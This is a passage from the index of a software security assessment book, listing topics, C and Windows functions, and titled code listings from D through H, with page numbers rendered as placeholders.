ASP.NET(? [????.]) Java servlets(? [????.]) Perl(? [????.]) PHP(? [????.]) XSS(? [????.]) cryogenic sleep attacks(? [????.]) crypto subsystem, SSH server, code audits(? [????.]) CRYPTO_realloc_clean( ) function(? [????.]) cryptographic hash functions(? [????.]) cryptographic signatures(? [????.]) cryptography(? [????.]) cryptographic data integrity(? [????.]) cryptographic signatures(? [????.]) hash functions(? [????.]) originator validation(? [????.]) salt values(? [????.]) encryption algorithms(? [????.]) block ciphers(? [????.]) common vunerabilities(? [????.]) exchange algorithms(? [????.]) IV (initialization vector)(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1154 stream ciphers(? [????.]) Cscope source code navigator(? [????.]) Ctags source code navigator(? [????.]) CTR (counter) mode cipher(? [????.]) Cutler, David(? [????.]) cyclic redundancy check (CRC) routines(? [????.]) 10.5 D Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] DACL (discretionary access control list)(? [????.]) daemons, UNIX(? [????.]) Dangerous Data Type Use listing (7-41)(? [????.]) Dangerous Use of IsDBCSLeadByte( ) listing (8-30)(? [????.]) Dangerous Use of strncpy( ) listing (8-2)(? [????.]) data assumptions, ACC logs(? [????.]) data buffers, OpenSSH, vunerabilities(? [????.]) data flow diagrams (DFDs)(? [????.]) data flow, vunerabilities(? [????.]) data hiding(? [????.]) data integrity(? [????.]) cryptographic signature(? [????.]) hash functions(? [????.]) originator validation(? [????.]) salt values(? [????.]) data link layer, network segmentation(? [????.]) data ranges, lists(? [????.]) 2nd(? [????.]) data storage, C programming language(? [????.]) data tier (Web applications)(? [????.]) Data Truncation Vulnerability 2 listing (8-12)(? [????.]) Data Truncation Vulnerability listing (8-11)(? [????.]) data types, application protocols, matching(? [????.]) data verification, application protocols(? [????.]) data-flow sensitivee code navigation(? [????.]) data_xfer( ) function(? [????.]) datagrams, IP datagrams(? [????.]) Date header field (HTTP)(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1155 DCE (Distirbuted Computing Environment) RPCs(? [????.]) 2nd(? [????.]) DCE (Distributed Computing Environment) RPCs(? [????.]) 2nd(? [????.]) DCOM (Distributed Component Object Model)(? [????.]) 2nd(? [????.]) 3rd(? [????.]) access controls(? [????.]) Active X security(? [????.]) application audits(? [????.]) application identity(? [????.]) application registration(? [????.]) ATL (Active Template Library)(? [????.]) automation objects, fuzz testing(? [????.]) DCOM Configuration utility(? [????.]) impersonation(? [????.]) interface audits(? [????.]) MIDL (Microsoft Interface Definition Language)(? [????.]) subsystem access permissions(? [????.]) DCOM Configuration utility(? [????.]) DDE (Dynamic Data Exchange)(? [????.]) Windows messaging(? [????.]) DDE Management Library (DDEML) API(? [????.]) de Weger, Benne(? [????.]) deadlocks concurrent programming(? [????.]) 2nd(? [????.]) threading(? [????.]) debuggers, code auditing(? [????.]) DecodePointer( ) function(? [????.]) DecodeSystemPointer( ) function(? [????.]) Decoding Incorrect Byte Values listing (8-28)(? [????.]) decoding routines, RPCs (Remote Procedure Calls), UNIX(? [????.]) decoding, Unicode(? [????.]) decomposition, software design(? [????.]) default argument promotions(? [????.]) 2nd(? [????.]) default settings, insecure defaults(? [????.]) default site installations, Web-based applications(? [????.]) Default Switch Case Omission Vulnerability listing (7-24)(? [????.]) default type conversions(? [????.]) defense in depth(? [????.]) definition files, RPCs (Remote Procedure Calls), UNIX(? [????.]) DELETE method(? [????.]) delete payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) delete_session( ) function(? [????.]) Delivering Signals for Fun and Profitî(? [????.]) demilitarized zones (DMZs)(? [????.]) denial-of-service (DoS) attacks [See DoS (denial-of-service) attacks(? [????.]).] dependency alnalysis, code audits(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1156 DER (Distinguished Encoding Rules), ASN.1 (Abstract Syntax Notation)(? [????.]) Derived-From header field (HTTP)(? [????.]) descriptors, UNIX files(? [????.]) design SDLC (Systems Development Life Cycle)(? [????.]) software(? [????.]) abstraction(? [????.]) accuracy(? [????.]) algorithms(? [????.]) clarity(? [????.]) decomposition(? [????.]) failure handling(? [????.]) loose coupling(? [????.]) strong cohesion(? [????.]) strong coupling exploitation(? [????.]) threat modeling(? [????.]) transitive trust exploitation(? [????.]) trust relationships(? [????.]) vunerabilities(? [????.]) design conformity checks, DG (design generalization) strategy(? [????.]) desk checking, code audits(? [????.]) desktop object, IPC (interprocess communications)(? [????.]) Detect_attack Small Packet Algorithm in SSH listing (6-18)(? [????.]) Detect_attack Truncation Vulnerability in SSH listing (6-19)(? [????.]) developer documentation, reviewing(? [????.]) developers, interviewing(? [????.]) development protective measures, operational vulnerabilities(? [????.]) ASLR (address space layout randomization)(? [????.]) heap protection(? [????.]) nonexecutable stacks(? [????.]) registered function pointers(? [????.]) stack protection(? [????.]) VMs (virtual machines)(? [????.]) device files UNIX(? [????.]) Windows NT(? [????.]) DeviceIoControl( ) function(? [????.]) DFDs (data flow diagrams)(? [????.]) DG (design generalization) strategies, code audits(? [????.]) 2nd(? [????.]) design conformity check(? [????.]) hypothesis testing(? [????.]) system models(? [????.]) Different Behavior of vsnprintf( ) on Windows and UNIX listing (8-1)(? [????.]) Digital Encryption Standard (DES) encryption(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1157 Digital Equipment Corporation (DEC) Virtual Memory System (VMS)(? [????.]) dilimiters embedded delimiters, metacharacters(? [????.]) extraneous dilimiters(? [????.]) direct program invocation, UNIX(? [????.]) directionality, stateful firewalls(? [????.]) directories, UNIX(? [????.]) 2nd(? [????.]) creating(? [????.]) entries(? [????.]) Filesystem Hierarchy Standard(? [????.]) mount points(? [????.]) parent directories(? [????.]) permissions(? [????.]) public directories(? [????.]) race conditions(? [????.]) root directories(? [????.]) safety(? [????.]) working directories(? [????.]) directory cleaners, UNIX temporary files(? [????.]) directory indexing, Web servers(? [????.]) Directory Traversal Vulnerability listing (8-15)(? [????.]) discretionary access control list (DACL)(? [????.]) Distributed Component Object Model (DCOM) [See DCOM (Distributed Component Object Model)(? [????.]).] Division Vulnerability Example listing (6-27)(? [????.]) DllGetClassObject( ) function(? [????.]) DLLs (dynamic link libraries)(? [????.]) loading(? [????.]) redirection(? [????.]) dlopen( ) function(? [????.]) DMZs (demilitarized zones)(? [????.]) DNS (Domain Name System)(? [????.]) 2nd(? [????.]) headers(? [????.]) length variables(? [????.]) 2nd(? [????.]) 3rd(? [????.]) name servers(? [????.]) names(? [????.]) packets(? [????.]) question structure(? [????.]) request traffic(? [????.]) resource records(? [????.]) 2nd(? [????.]) conventions(? [????.]) spoofing(? [????.]) zones(? [????.]) do_cleanup( ) function(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1158 do_ip( ) function(? [????.]) do_mremap( ) function(? [????.]) documentation application protocols, collecting(? [????.]) threat modeling(? [????.]) documentation phase, code review(? [????.]) 2nd(? [????.]) findings summary(? [????.]) domain name caches(? [????.]) Domain Name System (DNS) [See DNS (Domain Name System)(? [????.]).] domain names(? [????.]) domain sockets, UNIX(? [????.]) 2nd(? [????.]) domains(? [????.]) error domains(? [????.]) DoS (denial-of-service) attacks(? [????.]) name validation(? [????.]) DOS 8.3 filenames(? [????.]) Double-Free Vulnerability in OpenSSL listing (7-46)(? [????.]) Double-Free Vulnerability listing (7-45)(? [????.]) double-frees, auditing(? [????.]) doubly linked lists(? [????.]) Dowd, Mark(? [????.]) 2nd(? [????.]) Dragomirescu, Razvan(? [????.]) DREAD risk ratings(? [????.]) Dubee, Nicholas(? [????.]) duplicate elements, lists(? [????.]) dynamic content(? [????.]) Dynamic Data Exchange (DDE) [See DDE (Dynamic Data Exchange)(? [????.]).] dynamic link libraries (DLLs) [See DLLs (dynamic link libraries)(? [????.]).] 10.6 E Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] EBP (extended base pointer)(? [????.]) edit( ) function(? [????.]) EDITOR environment variable (UNIX)(? [????.]) effective groups, UNIX(? [????.]) 2nd(? [????.]) effective users, UNIX(? [????.]) 2nd(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1159 EH (exception handling)(? [????.]) Einstein, Albert(? [????.]) elements, lists, duplicate elements(? [????.]) Embedded Delimiter Example listing (8-8)(? [????.]) embedded delimiters, metacharacters(? [????.]) embedded path information (HTTP)(? [????.]) embedding state in HTML and URLs(? [????.]) Empty List Vulnerabilities listing (7-12)(? [????.]) empty lists, vunerabilities(? [????.]) encapsulation, packets(? [????.]) EncodePointer( ) function(? [????.]) EncodeSystemPointer( ) function(? [????.]) encoding entities(? [????.]) HTML encoding(? [????.]) multiple encoding layers(? [????.]) parameters(? [????.]) UTF-16 encoding(? [????.]) UTF-8 encoding(? [????.]) XML encoding(? [????.]) encryption(? [????.]) 2nd(? [????.]) algorithms(? [????.]) asymmetric encryption(? [????.]) block ciphers(? [????.]) common vunerabilities(? [????.]) Digital Encryption Standard (DES) encryption(? [????.]) ISAKMP (Internet Security Association and Key Management Protocol), vunerabilities(? [????.]) IV (initialization vector)(? [????.]) key exchange algorithms(? [????.]) stream ciphers(? [????.]) symmetric encryption(? [????.]) end user license agreements (EULAs)(? [????.]) endpoint mappers(? [????.]) endpoints, RPC servers, binding to(? [????.]) enforcing policies(? [????.]) enhanced kernel protections(? [????.]) enterprise firewalls, layer 7 inspection(? [????.]) entities (encoded data)(? [????.]) entries, UNIX directories(? [????.]) entry points(? [????.]) ENV environment variable (UNIX)(? [????.]) environment arrays, UNIX file descriptors(? [????.]) environment strings, Linux(? [????.]) environment subsystems(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1160 environment variables(? [????.]) PATH_INFO(? [????.]) UNIX(? [????.]) environmental attacks(? [????.]) equality operators(? [????.]) err( ) function(? [????.]) error checking branches, code paths(? [????.]) error domains(? [????.]) error messages, overly verbose error messages, Web-based applications(? [????.]) errors lists, pointer updates(? [????.]) loops(? [????.]) escape_sql( ) function(? [????.]) escaping metacharacters(? [????.]) ESP (extended stack pointer)(? [????.]) Esser, Stefan(? [????.]) establishing TCP connections(? [????.]) ETag header field (HTTP)(? [????.]) /etc directory (UNIX)(? [????.]) EULAs (end user license agreements)(? [????.]) eval( ) function Perl(? [????.]) PHP(? [????.]) evasion, metacharacter evasion(? [????.]) event objects, Windows NT(? [????.]) Example of Bad Counting with Structure Padding listing (6-34)(? [????.]) Example of Dangerous Program Use listing (8-19)(? [????.]) Example of Structure Padding Double Free listing (6-33)(? [????.]) exception handling (EH), C++(? [????.]) exceptional conditions(? [????.]) execl( ) function(? [????.]) Execute( ) function, ASP(? [????.]) execve( ) function(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 4th(? [????.]) ExpandEnvironmentStrings( ) function(? [????.]) Expect header field (HTTP)(? [????.]) expectations, security(? [????.]) Expert C Programming(? [????.]) Expires header field (HTTP)(? [????.]) explicit allow filters (white lists), metacharacters(? [????.]) explicit deny filters (black lists), metacharacters(? [????.]) explicit type conversions(? [????.]) Exploiting Software(? [????.]) exploiting transitive trusts(? [????.]) export function tables(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1161 extended base pointer (EBP)(? [????.]) extended stack pointer (ESP)(? [????.]) Extensible Stylesheet Language Transformations (XSLT)(? [????.]) 2nd(? [????.]) extensions, UNIX privileges(? [????.]) external application invocation, OpenSSH(? [????.]) external entities(? [????.]) external flow sensitivity, code navigation(? [????.]) external trust levels(? [????.]) external trusted sources, spoofing attacks, firewalls(? [????.]) extraneaous dilimiters(? [????.]) extraneous filename characters, Windows NT(? [????.]) extraneous input thinning, test cases, code audits(? [????.]) 10.7 F Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] failure handling(? [????.]) fastcalls(? [????.]) fclose( ) function(? [????.]) fcntl( ) function(? [????.]) feasibility studies (SDLC)(? [????.]) Feng, Dengguo(? [????.]) Ferguson, Niels(? [????.]) fgets( ) function(? [????.]) 2nd(? [????.]) fields, hidden fields, auditing(? [????.]) FIFOs, UNIX(? [????.]) file access ASP(? [????.]) ASP.NET(? [????.]) Java servlets(? [????.]) Perl(? [????.]) PHP(? [????.]) file canonicalization, path metacharacters(? [????.]) file descriptors(? [????.]) UNIX(? [????.]) file handlers(? [????.]) File I/O API, Windows NT(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1162 file inclusion ASP(? [????.]) ASP.NET(? [????.]) Java servlets(? [????.]) Perl(? [????.]) PHP(? [????.]) file paths, truncation(? [????.]) file squatting, Windows NT(? [????.]) file streams, Windows NT(? [????.]) file system IDs, Linux(? [????.]) file system layout(? [????.]) file systems OS interaction(? [????.]) execution(? [????.]) file uploading(? [????.]) null bytes(? [????.]) path traversal(? [????.]) programmatic SSI(? [????.]) permissions(? [????.]) File Transfer Protocol (FTP) [See FTP (File Transfer Protocol)(? [????.]).] file types, Windows NT(? [????.]) filenames, UNIX(? [????.]) files change monitoring(? [????.]) closing, stdio system(? [????.]) core files(? [????.]) opening, stdio system(? [????.]) reading, stdio system(? [????.]) 2nd(? [????.]) umask(? [????.]) UNIX(? [????.]) 2nd(? [????.]) 3rd(? [????.]) boot files(? [????.]) creating(? [????.]) descriptors(? [????.]) device files(? [????.]) directories(? [????.]) filenames(? [????.]) IDs(? [????.]) inodes(? [????.]) kernel files(? [????.]) libraries(? [????.]) links(? [????.]) 2nd(? [????.]) log files(? [????.]) named pipes(? [????.]) pathnames(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1163 paths(? [????.]) permissions(? [????.]) personal user files(? [????.]) proc file system(? [????.]) program configuration files(? [????.]) program files(? [????.]) race conditions(? [????.]) security(? [????.]) sharing(? [????.]) stdio file interface(? [????.]) system configuration files(? [????.]) temporary files(? [????.]) uploading, security(? [????.]) Windows NT(? [????.]) canonicalization(? [????.]) case sensitivity(? [????.]) device files(? [????.]) DOS 8.3 filenames(? [????.]) extraneous filename characters(? [????.]) File I/O API(? [????.]) file open audits(? [????.]) file squatting(? [????.]) file streams(? [????.]) file types(? [????.]) links(? [????.]) permissions(? [????.]) writing to, stdio system(? [????.]) Filesystem Hierarchy Standard, UNIX(? [????.]) filtering metacharacters(? [????.]) character stripping vunerabilities(? [????.]) escaping metacharacters(? [????.]) insufficient filtering(? [????.]) metacharacter evasion(? [????.]) filters explicit allow filters (white lists), metacharacters(? [????.]) explicit deny filters (black lists), metacharacters(? [????.]) Finding Return Values listing (7-27)(? [????.]) findings summaries, application review(? [????.]) firewalls(? [????.]) 2nd(? [????.]) attack surfaces(? [????.]) host-based firewalls(? [????.]) layer 7 inspection(? [????.]) packet-filtering firewalls(? [????.]) proxy firewalls(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1164 spoofing attacks(? [????.]) 2nd(? [????.]) close spoofing(? [????.]) distant spoofing(? [????.]) encapsulation(? [????.]) source routing(? [????.]) stateful firewalls(? [????.]) directionality(? [????.]) fragmentation(? [????.]) stateful inspection firewalls(? [????.]) TCP (Transport Control Protocol)(? [????.]) UDP (User Datagram Protocol)(? [????.]) stateless firewalls(? [????.]) fragmentation(? [????.]) FTP (File Transfer Protocol)(? [????.]) TCP (Transmission Control Protocol)(? [????.]) UDP (User Datagram Protocol)(? [????.]) flags ACEs(? [????.]) TCP connections(? [????.]) URG flags, TCP (Transmission Control Protocol)(? [????.]) floating points, conversions(? [????.]) floating types, C programming language(? [????.]) floats(? [????.]) flow analysis(? [????.]) flow transfer statements, auditing(? [????.]) flow, control flow, auditing(? [????.]) fopen( ) function(? [????.]) fork( ) function(? [????.]) 2nd(? [????.]) format specifiers(? [????.]) Format String Vulnerability in a Logging Routine listing (8-17)(? [????.]) Format String Vulnerability in WU-FTPD listing (8-16)(? [????.]) format strings(? [????.]) formats, metacharacters(? [????.]) format strings(? [????.]) path metacharacters(? [????.]) Perl open( ) function(? [????.]) shell metacharacters(? [????.]) SQL queries(? [????.]) forms (HTTP)(? [????.]) forward( ) method, Java servlets(? [????.]) forward-tracing code(? [????.]) fprintf( ) function(? [????.]) fragmentation IP (Internet Protocol)(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1165 overlapping fragments(? [????.]) pathological fragment sets(? [????.]) processing(? [????.]) stateful firewalls(? [????.]) stateless firewalls(? [????.]) zero-length fragments(? [????.]) Frasunek, Przemyslaw(? [????.]) fread( ) function(? [????.]) 2nd(? [????.]) free( ) function(? [????.]) 2nd(? [????.]) 3rd(? [????.]) FreeBSD(? [????.]) privileges, dropping temporarily(? [????.]) From header field (HTTP)(? [????.]) fscanf( ) function(? [????.]) fstat( ) function(? [????.]) ftok( ) function(? [????.]) FTP (File Transfer Protocol)(? [????.]) 2nd(? [????.]) active FTP(? [????.]) passive FTP(? [????.]) stateless firewalls(? [????.]) fully functional resolvers (DNS)(? [????.]) function pointers obfuscation(? [????.]) registration of(? [????.]) Function Prologue listing (5-1)(? [????.]) function prototypes, C programming language, type conversions(? [????.]) function_A( ) function(? [????.]) function_B( )(? [????.]) function_B( ) function(? [????.]) functions _wsprintfW( )(? [????.]) _xlate_ascii_write( )(? [????.]) access( )(? [????.]) AdjustTokenGroups( )(? [????.]) AdjustTokenPrivileges( )(? [????.]) alloc( )(? [????.]) allocation functions, auditing(? [????.]) apr_palloc( )(? [????.]) auditing(? [????.]) argument meaning(? [????.]) audit logs(? [????.]) return value testing(? [????.]) side-effects(? [????.]) authenticate( )(? [????.]) bounded string functions(? [????.]) 2nd(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1166 BUF-MEM_grow( ) function(? [????.]) calling conventions(? [????.]) checkForAnotherInstance( )(? [????.]) cleanup( )(? [????.]) cleanup_exit( )(? [????.]) close( )(? [????.]) CloseHandle( )(? [????.]) CoInitializeEx( )(? [????.]) collecttimeout( )(? [????.]) ConnectNamedPipe( )(? [????.]) ConvertSidToStringSid( )(? [????.]) ConvertStringSidToSid( )(? [????.]) CoRegisterClassObject( )(? [????.]) crackaddr( )(? [????.]) Create*( )(? [????.]) CreateEvent( )(? [????.]) CreateFile( )(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 4th(? [????.]) 5th(? [????.]) 6th(? [????.]) CreateHardLink( )(? [????.]) CreateMutex( )(? [????.]) 2nd(? [????.]) CreateNamedPipe( )(? [????.]) 2nd(? [????.]) CreateNewKey( )(? [????.]) CreatePrivateNamespace( )(? [????.]) CreateProcess( )(? [????.]) 2nd(? [????.]) CreateRestrictedToken( )(? [????.]) CreateSemaphore( )(? [????.]) CreateWaitableTimer( )(? [????.]) CRYPTO_realloc_clean( )(? [????.]) data_xfer( )(? [????.]) DecodePointer( )(? [????.]) DecodeSystemPointer( )(? [????.]) delete_session( )(? [????.]) DeviceIoControl( )(? [????.]) DllGetClassObject( )(? [????.]) dlopen( )(? [????.]) do_cleanup( )(? [????.]) do_ip( )(? [????.]) do_mremap( )(? [????.]) edit( )(? [????.]) EncodePointer( )(? [????.]) EncodeSystemPointer( )(? [????.]) err( )(? [????.]) escape_sql( )(? [????.]) execl( )(? [????.]) execve( )(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 4th(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1167 ExpandEnvironmentStrings( )(? [????.]) fclose( )(? [????.]) fcntl( )(? [????.]) fgets( )(? [????.]) 2nd(? [????.]) fopen( )(? [????.]) fork( )(? [????.]) 2nd(? [????.]) fprintf( )(? [????.]) fread( )(? [????.]) 2nd(? [????.]) free( )(? [????.]) 2nd(? [????.]) 3rd(? [????.]) fscanf( )(? [????.]) fstat( )(? [????.]) ftok( )(? [????.]) function_A( )(? [????.]) function_B( )(? [????.]) get_mac( )(? [????.]) get_string_from_network( )(? [????.]) get_user( )(? [????.]) GetCurrentProcess( )(? [????.]) GetFullPathName( )(? [????.]) GetLastError( )(? [????.]) 2nd(? [????.]) GetMachineName( )(? [????.]) getrlimit( )(? [????.]) ImpersonateNamedPipe( )(? [????.]) initgroups( )(? [????.]) initialize_ipc( )(? [????.]) initJobThreads( )(? [????.]) input_userauth_info_response( )(? [????.]) invocations, C programming language(? [????.]) IsDBCSLeadByte( )(? [????.]) kill( )(? [????.]) list_add( )(? [????.]) list_init( )(? [????.]) longjump( )(? [????.]) lreply( )(? [????.]) lstat( )(? [????.]) make_table( )(? [????.]) malloc( )(? [????.]) 2nd(? [????.]) memset( )(? [????.]) mkdtemp( )(? [????.]) mkstemp( )(? [????.]) mktemp( )(? [????.]) 2nd(? [????.]) MultiByteToWideChar( )(? [????.]) 2nd(? [????.]) my_malloc( )(? [????.]) NtQuerySystemInformation( )(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1168 open( )(? [????.]) 2nd(? [????.]) OpenFile( )(? [????.]) OpenMutex( )(? [????.]) OpenPrivateNamespace( )(? [????.]) OpenProcess( )(? [????.]) parent functions, vunerabilities(? [????.]) parse_rrecord( )(? [????.]) php_error_docref( )(? [????.]) pipe( )(? [????.]) pop( )(? [????.]) popen( )(? [????.]) 2nd(? [????.]) prescan( )(? [????.]) 2nd(? [????.]) printf( )(? [????.]) 2nd(? [????.]) process_file( )(? [????.]) process_login( )(? [????.]) process_string( )(? [????.]) process_tcp_packet( )(? [????.]) process_token_string( )(? [????.]) processJob( )(? [????.]) processNetwork( )(? [????.]) processThread( )(? [????.]) push( )(? [????.]) putenv( )(? [????.]) pw_lock( )(? [????.]) QueryInterface( )(? [????.]) read( )(? [????.]) read_data( )(? [????.]) read_line( )(? [????.]) realloc( )(? [????.]) reentrancy(? [????.]) RegCloseKey( )(? [????.]) RegCreateKey( )(? [????.]) RegCreateKeyEx( )(? [????.]) 2nd(? [????.]) RegDeleteKey( )(? [????.]) RegDeleteKeyEx( )(? [????.]) RegDeleteValue( )(? [????.]) RegOpenKey( )(? [????.]) RegOpenKeyEx( )(? [????.]) RegQueryValue( )(? [????.]) RegQueryValueEx( )(? [????.]) retrieve_data( )(? [????.]) return values finding(? [????.]) ignoring(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1169 misinterpreting(? [????.]) rfork( )(? [????.]) RpcBindingInqAuthClient( )(? [????.]) RpcServerListen( )(? [????.]) RpcServerRegisterAuthInfo( )(? [????.]) RpcServerRegisterIf( )(? [????.]) RpcServerRegisterIfEx( )(? [????.]) RpcServerUseProtseq( )(? [????.]) RpcServerUseProtseqEx( )(? [????.]) SAPI_POST_READER_FUNC( )(? [????.]) scanf( )(? [????.]) search_orders( )(? [????.]) semget( )(? [????.]) setegid( )(? [????.]) setenv( )(? [????.]) 2nd(? [????.]) seteuid( )(? [????.]) setgid( )(? [????.]) setgroups( )(? [????.]) setjump( )(? [????.]) setregid( )(? [????.]) setresgid( )(? [????.]) setresuid( )(? [????.]) setreuid( )(? [????.]) setrlimit( )(? [????.]) SetThreadToken( )(? [????.]) setuid( )(? [????.]) 2nd(? [????.]) ShellExecute( )(? [????.]) ShellExecuteEx( )(? [????.]) side-effects referentially opaque side effects(? [????.]) referentially transparent side effects(? [????.]) siglongjump( )(? [????.]) signal( )(? [????.]) 2nd(? [????.]) sigsetjump( )(? [????.]) sizeof( )(? [????.]) 2nd(? [????.]) snprintf( )(? [????.]) 2nd(? [????.]) 3rd(? [????.]) socketpair( )(? [????.]) 2nd(? [????.]) sprintf( )(? [????.]) 2nd(? [????.]) 3rd(? [????.]) stat( )(? [????.]) strcat( )(? [????.]) strcpy( )(? [????.]) 2nd(? [????.]) strlcat( )(? [????.]) strlcpy( )(? [????.]) strlen( )(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1170 strncat( )(? [????.]) strncpy( )(? [????.]) 2nd(? [????.]) syslog( )(? [????.]) system( )(? [????.]) tempnam( )(? [????.]) TerminateThread( )(? [????.]) tgetent( )(? [????.]) time( )(? [????.]) tmpfile( )(? [????.]) tmpnam( )(? [????.]) toupper( )(? [????.]) try_lib( )(? [????.]) unbounded string functions(? [????.]) Unicode(? [????.]) UNIX group ID functions(? [????.]) user ID functions(? [????.]) unlink( )(? [????.]) 2nd(? [????.]) uselib( )(? [????.]) utility functions, HTTP (Hypertext Transfer Protocol)(? [????.]) vfork( )(? [????.]) vreply( )(? [????.]) vsnprintf( )(? [????.]) wait functions(? [????.]) wcsncpy( )(? [????.]) WideCharToMultiByte( )(? [????.]) 2nd(? [????.]) fuzz testing automation objects, COM (Component Object Model)(? [????.]) code auditing tools(? [????.]) 10.8 G Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] Gates, Bill(? [????.]) GATEWAY_INTERFACE (environment variable)(? [????.]) gateways(? [????.]) system call gateways(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1171 GECOS field, UNIX(? [????.]) general CP (candidate point) strategy, code audits(? [????.]) generalization approach, application review(? [????.]) GET method(? [????.]) 2nd(? [????.]) get_mac( ) function(? [????.]) get_string_from_network( ) function(? [????.]) get_user( ) function(? [????.]) GetCurrentProcess( ) function(? [????.]) GetFullPathName( ) Call in Apache 2.2.0 listing (8-14)(? [????.]) GetFullPathName( ) function(? [????.]) GetLastError( ) function(? [????.]) 2nd(? [????.]) GetMachineName( ) function(? [????.]) getrlimit( ) function(? [????.]) GIDs (group IDs), UNIX(? [????.]) 2nd(? [????.]) global namespaces, Windows NT(? [????.]) global overflows(? [????.]) globbing characters, UNIX programs, indirect invocation(? [????.]) GNU/Linux(? [????.]) Govindavajhala, Sudhakar(? [????.]) Greenman, David(? [????.]) group ID functions (UNIX)(? [????.]) group IDs (GIDs), UNIX(? [????.]) functions(? [????.]) group lists, Windows NT sessions, SIDs(? [????.]) groups, UNIX(? [????.]) effective groups(? [????.]) file security(? [????.]) GIDs (group IDs)(? [????.]) 2nd(? [????.]) 3rd(? [????.]) login groups(? [????.]) primary groups(? [????.]) privilege vunerabilities(? [????.]) process groups(? [????.]) real groups(? [????.]) saved set groups(? [????.]) secondary groups(? [????.]) setgid (set-group-id)(? [????.]) supplemental groups(? [????.]) 2nd(? [????.]) Guninski, Giorgi(? [????.]) 2nd(? [????.]) 10.9 H Index The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1172 [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] Hacker Emergency Response Team (HERT)(? [????.]) handlers, non-returning signal handlers, signals(? [????.]) 2nd(? [????.]) handles, Windows NT objects(? [????.]) handling signals(? [????.]) strings, C programming language(? [????.]) hard links UNIX files(? [????.]) 2nd(? [????.]) Windows NT files(? [????.]) hardware device drivers(? [????.]) Hart, Johnson M.(? [????.]) hash functions(? [????.]) hash payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) hash tables, auditing(? [????.]) 2nd(? [????.]) hash-based message authentication code (HMAC)(? [????.]) hashing algorithms(? [????.]) headers DNS (Domain Name System)(? [????.]) HTTP (Hypertext Transport Protocol)(? [????.]) fields(? [????.]) parsing(? [????.]) IP (Internet Protocol), validation(? [????.]) ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) certificate payloads(? [????.]) delete payloads(? [????.]) hash payloads(? [????.]) identification payloads(? [????.]) key exchange payloads(? [????.]) 2nd(? [????.]) nonce payloads(? [????.]) notification payloads(? [????.]) proposal payloads(? [????.]) security association payloads(? [????.]) signature payloads(? [????.]) transform payloads(? [????.]) vendor ID payloads(? [????.]) TCP headers(? [????.]) validation(? [????.]) UDP headers, validation(? [????.]) headers (HTTP), Referer(? [????.]) The Art of Software Security Assessment - Identifying and Preventing 